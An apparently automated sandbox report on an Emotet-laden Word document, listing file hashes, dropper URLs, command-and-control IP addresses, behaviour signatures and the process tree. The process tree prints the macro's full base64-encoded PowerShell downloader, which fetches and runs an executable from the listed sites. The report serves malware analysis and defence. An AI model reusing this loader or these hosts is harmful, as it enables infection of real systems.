Analysis
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max time kernel
86s -
max time network
78s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
31-07-2020 23:10
General
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Target
DOCUMENTO.doc
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Size
168KB
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MD5
0518f082b1cd842cce34414871e5aa85
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SHA1
95c5d2afbfbde3a677b3d16d096b3a47e9f80778
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SHA256
df9760760d8c79bb94adda26fbef94d865f226de73fce58a3019115ee050c4c4
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SHA512
0b3bfb6446ba5582697ac6cf7d3fc99450552e94b9da3e8528381550fc49c36bf834eb527631c18333beb12a772995b67e297555e65234e044ab433df7842305
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://artexproductions.com/cgi-bin/xHdbmk/
exe.dropper
http://whistledownfarm.com/cgi-bin/tlsjw81/
exe.dropper
http://e-motiva.com/wp-admin/bFr531220/
exe.dropper
http://stolkie.net/m/H0LV59574/
exe.dropper
http://www.faccomputer.com/images/5mMAg7bKKK/
Extracted
Family
emotet
C2
73.116.193.136:80
185.94.252.13:443
149.62.173.247:8080
89.32.150.160:8080
185.94.252.12:80
77.90.136.129:8080
83.169.21.32:7080
104.236.161.64:8080
114.109.179.60:80
189.2.177.210:443
68.183.190.199:8080
144.139.91.187:443
185.94.252.27:443
190.181.235.46:80
82.196.15.205:8080
46.28.111.142:7080
181.167.96.215:80
202.62.39.111:80
219.92.13.25:80
191.99.160.58:80
rsa_pubkey.plain
Signatures
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
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Suspicious use of SetWindowsHookEx 4 IoCs
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Executes dropped EXE 2 IoCs
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Emotet Payload 4 IoCs
Detects Emotet payload in memory.
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Drops file in System32 directory 2 IoCs
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Blacklisted process makes network request 4 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
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Office loads VBA resources, possible macro or embedded object present
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Modifies registry class 280 IoCs
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Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFcARwBGAE0AUQByAHkAcQAgAD0AIAAnADIANwAzACcAOwAkAE0AQQBBAEkARQB6AHUAaAA9ACcASQBVAFgAWgBDAHAAbgB1ACcAOwAkAEQAWQBPAEUAQQBoAGMAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVwBHAEYATQBRAHIAeQBxACsAJwAuAGUAeABlACcAOwAkAEIATABNAFQASQBjAGgAcAA9ACcAQgBHAFMAWABIAGsAYwBlACcAOwAkAEEAUQBXAEUAUQB4AG0AZgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBjAEwAaQBlAE4AdAA7ACQAUQBBAEkATABXAGcAcQBuAD0AJwBoAHQAdABwADoALwAvAGEAcgB0AGUAeABwAHIAbwBkAHUAYwB0AGkAbwBuAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB4AEgAZABiAG0AawAvACoAaAB0AHQAcAA6AC8ALwB3AGgAaQBzAHQAbABlAGQAbwB3AG4AZgBhAHIAbQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHQAbABzAGoAdwA4ADEALwAqAGgAdAB0AHAAOgAvAC8AZQAtAG0AbwB0AGkAdgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAEYAcgA1ADMAMQAyADIAMAAvACoAaAB0AHQAcAA6AC8ALwBzAHQAbwBsAGsAaQBlAC4AbgBlAHQALwBtAC8ASAAwAEwAVgA1ADkANQA3ADQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBmAGEAYwBjAG8AbQBwAHUAdABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8ANQBtAE0AQQBnADcAYgBLAEsASwAvACcALgAiAFMAUABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBBAEIAQwBTAHUAcwBpAD0AJwBZAEQAVABGAE0AcwBtAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYASwBPAFgAVABiAGUAZAAgAGkAbgAgACQAUQBBAEkATABXAGcAcQBuACkAewB0AHIAeQB7ACQAQQBRAFcARQBRAHgAbQBmAC4AIgBkAGAAbwB3AE4AbABPAEEAZABGAGAAaQBgAGwARQAiACgAJABWAEsATwBYAFQAYgBlAGQALAAgACQARABZAE8ARQBBAGgAYwBzACkAOwAkAEkAUwBSAFkAQgBvAHAAdAA9ACcAWgBMAE0ATQBXAHkAZAB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQARABZAE8ARQBBAGgAYwBzACkALgAiAGwAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADQAMgAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAGEAVABFACIAKAAkAEQAWQBPAEUAQQBoAGMAcwApADsAJABZAFMAUwBCAEEAcQBqAG0APQAnAFYAVABBAEwAWgBvAHUAbAAnADsAYgByAGUAYQBrADsAJABTAFkATgBOAFoAdABzAHgAPQAnAEwARwBVAEIAUQB5AGwAagAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAFEAUQBIAFMAYgB5AHgAPQAnAFkAWgBOAFkAQwBuAGoAZAAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
- Blacklisted process makes network request
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C:\Users\Admin\273.exeC:\Users\Admin\273.exe1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\SyncHost\shpafact.exe"C:\Windows\SysWOW64\SyncHost\shpafact.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\273.exe
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C:\Users\Admin\273.exe
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C:\Windows\SysWOW64\SyncHost\shpafact.exe
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memory/768-10-0x0000000000000000-mapping.dmp
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memory/768-12-0x0000000000280000-0x000000000028C000-memory.dmpFilesize
48KB
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memory/1000-2-0x0000000009530000-0x0000000009534000-memory.dmpFilesize
16KB
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memory/1000-4-0x000000000BA80000-0x000000000BA84000-memory.dmpFilesize
16KB
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memory/1000-5-0x000000000CB00000-0x000000000CB04000-memory.dmpFilesize
16KB
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memory/1824-8-0x00000000002F0000-0x00000000002FC000-memory.dmpFilesize
48KB